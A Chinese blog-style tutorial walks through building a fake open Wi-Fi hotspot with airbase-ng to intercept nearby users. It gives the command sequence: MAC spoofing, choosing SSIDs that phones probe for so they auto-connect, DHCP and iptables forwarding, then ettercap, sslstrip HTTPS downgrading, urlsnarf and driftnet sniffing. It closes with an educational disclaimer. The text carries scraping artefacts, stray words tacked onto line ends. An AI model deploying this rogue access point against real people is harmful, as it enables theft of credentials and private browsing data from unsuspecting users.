airbase-ng创建SoftAP进行嗅探的步骤详解以及自动实现脚本

   利用airbase-ng创建Soft AP,再利用一些常见工具进行嗅探,或对抓包进行分析是出现比较早的一种MITM***方法。网上有不少关于手动实现的文章,也有一些自动实现脚本。这些脚本一般分两类,一类是一步一步让用户输入接口、选项什么的,最后再运行,每一次启动都要重复输入不少数据,低效且不爽。第二类是自动运行的,但可选项比较少,不符合本身的使用习惯。因此,在学习过程当中本身写了一个自动实现脚本。linux

   创建Soft AP可以使用airbase-ng和hostapd,其中前者须要网卡支持monitor模式,是比较经常使用的工具,但仅支持OPN和WEP的,不支持WPA加密,不挑网卡,常见的RTL8187L既可。第二个是hostapd,须要网卡支持AP模式,8187L就用不了了,rt3070可使用,支持创建OPN/WEP/WPA各类SoftAP。本文介绍基于airbase-ng的实现,毕竟这是个轻量级且各类hack可选项较多的经常使用工具。浏览器

   创建soft Ap并进行嗅探,主要有以下4步:安全

   1.airbase-ng创建热点bash

   2.dhcpd启动dhcp服务服务器

   3.iptables设置好转发规则,使接入Soft AP客户的数据可正常访问互联网网络

   4.启动嗅探工具收集信息dom

   结束后,还能够对抓取的包进行后续分析。固然,中间还能够进行DNS劫持,伪造页面进行钓鱼,不在本文讨论范围。下面分步说。tcp

准备工做:ide

  (1) 一台电力比较持久的笔记本电脑,能够直接安装kali linux,也能够在VMware中安装kali。工具

  (2)一块8187L网卡,山寨的就能够,性价比高,作工没看出来比原装的差在哪儿,只要保证中间芯片是真的就行。(下面照片中是原装的)

  (3)天线:感受7dbi的全向天线高度正好,再大就不方便了,并且9dbi的信号并未加强多少,反而损耗更大。方向性天线也不错,7db方向性天线体积很小巧,听说明在聚焦方向上可达10dbi全向天线的做用距离,用于室内空间较狭长时合适。穿墙能力就不说了,钢筋混凝土墙两堵,基本就很难接收可用信号了。

   实测7dbi全向天线信号强度(无遮挡):65米处,-85dbm,50米处约-75dbm,10米以内信号稳定在-35dbm左右。该值很是粗略,仅供参考。通常可以正常通讯的下限是-90dbm,上网的话要求更高。固然,信号强度也和接收装置的天线有关,不过整体上说,8187L加上7dbi的两种天线基本够用了,覆盖一个公共场所不大室内空间没问题。

wKiom1Myah_CtEMwAAS4fF8LwtE431.jpg

   (4)笔记本有internet网接入,用于将Fake AP接收的信息转到internet上去,很少赘述。

   (5)启动monitor模式,并伪造一下本机的网卡地址

airmon-ng start wlan1
ifconfig wlan1 down
macchanger –r wlan1
ifconfig wlan1 up
ifconfig mon0 down
macchanger –r mon0
ifconfig mon0 up


1、使用airbase-ng创建OPN的Soft AP

   airbase-ng主要用于创建OPN的AP,也就是不须要密码的公开AP。WEP加密的已经不多见了,不支持WPA加密。这一步中,最关键的是AP的ssid,ssid决定了AP欺骗性,也就是被链接的可能性。如今手机、平板电脑的客户端会自动记录链接过的AP信息,保存在/data/misc/wifi/wpa_suppliant.conf中,每一个热点保存四个信息:ssid、psk(密码)、key_mgmt(加密方式)、priority(优先级)。注意,其中不含网卡的硬件地址.因此,只需前三项对上,即可自动链接。

   手机wifi功能打开时,会不断向外发送probe信息包,里面包含ssid。可用airodump-ng查看当前网络环境下有哪些被probe的ssid,供伪造ssid时参考。

   选定名称后,即可使用airbase-ng创建Fake AP了:

airbase-ng $FAKE_AP_INTERFACE -e $FAKE_AP_ESSID -c


   airbase-ng运行成功后,ifconfig查看,会多出一个at0接口。


root@mKL:~# ifconfig
at0       Link encap:Ethernet  HWaddr xx:xx:xx:xx:xx:xx
inet addr:10.0.0.1  Bcast:10.0.0.255  Mask:255.255.255.0
…
eth0      Link encap:Ethernet  HWaddr xx:xx:xx:xx:xx:xx 
inet addr:10.10.10.138  Bcast:10.10.10.255  Mask:255.255.255.0
…


2、使用dhcpd启动dhcp服务

   客户端链接上SoftAP后,要给他们分配IP地址。这里有一条最关键,就是SoftAP的IP地址和Internet接口的IP地址不能在网一个段。好比,链接Internet网的网卡eth0,地址是10.10.10.138/24,则at0的地址后面不能设置为同一网段,这里设置为10.0.0.1/24。


   首先创建dhcpd.conf,内容包含dhcp服务运行的设置参数,关键代码以下:


echo -n "[+]now creating dhcpd.conf..."
cat >$SESSION_PATH/dhcpd.conf<<-EOF
authoritative;
default-lease-time 6000;
max-lease-time 12000;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.30 10.0.0.60;
option routers 10.0.0.1;
option broadcast-address 10.0.0.255;
option subnet-mask 255.255.255.0;
option domain-name-servers 8.8.8.8;
allow unknown-clients;
}
EOF
echo "done"


   这些选项的意义就不一一介绍了,比较重要的时option routers,网关的设置,后续at0的地址要设置为该网关地址。option domain-name-servers,设置DNS服务器地址,8.8.8.8是比较通用的值。

   接下来而后须要将SoftAP的接口,也就是airbase-ng建立的at0设置为该网段的网关:

ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1500
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1


 接着启动dhcp服务

dhcpd -d -f -cf $SESSION_PATH/dhcpd.conf at0


3、使用iptables设置转发

   使用iptables设置转发,将用户链接SoftAP后的数据,转发到internet上,是很是关键的一步。网上各类版本不少,其实最简单的实现就一句指令:

iptables -t nat -A POSTROUTING --out-interface $FAKE_AP_INTERNET -j MASQUERADE    #$FAKE_AP_INTERNET是外网接口


   注意,转发生效须要本机开启ip_forward功能。指令是:

echo "1" > /proc/sys/net/ipv4/ip_forward


   因为后面运行ettercap时,会将该值再次变为0,因此等ettercap运行后再执行上述命令。


4、运行各类嗅探工具

   SoftAP创建并运行dhcp服务后,客户端就能够根据咱们设定的规则链接上热点并正常浏览网页,运行各个程序了。接下来,就是针对Soft AP的接口at0,执行各类嗅探:

ettercap -Tzq -i $FAKE_AP_AT_INTERFACE -w $SESSION_PATH/etter.pcap -L $SESSION_PATH/etter
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $SSLSTRIP_PORT
sslstrip -pkf -l $SSLSTRIP_PORT -w $SESSION_PATH/sslstrip.log 2>/dev/null
urlsnarf -i $1 | grep http > $SESSION_PATH/url.txt
tail -f $SESSION_PATH/url.txt
driftnet -i $1 -d $SESSION_PATH/


    以上就是实现基于Soft AP的MITM***的几个关键步骤。

    这里提供一个自动执行脚本auto_opnAP.sh,最简单的执行命令是:

auto_opnAP.sh -e xxxx -sud -i mon0 -n eth0


   运行界面以下图所示:

wKiom1Myak6xFVz4AAg3SrTP6V4486.jpg

  整体上看,如今大多数手机客户端在安全上都有考虑,用户名、密码以明文直接出现的很少,特别是大企业开发的工具,但仍是有部分小企业的软件在这方面不过重视。同时,尽管客户端链接时对信息进行了加密,但用浏览器登陆时,因为遵循http协议,部分状况下用户名和密码更容易泄漏。因此,在公共场所使用免费WiFi时,仍是要甄别热点的真假,并尽可能少进行关键操做。

  声明:本文旨在讨论原理,提升安全意识,提供的脚本也仅供学习交流,本文全部测试均在自家局域网络测试,请勿非法使用。有好的修改建议,欢迎交流。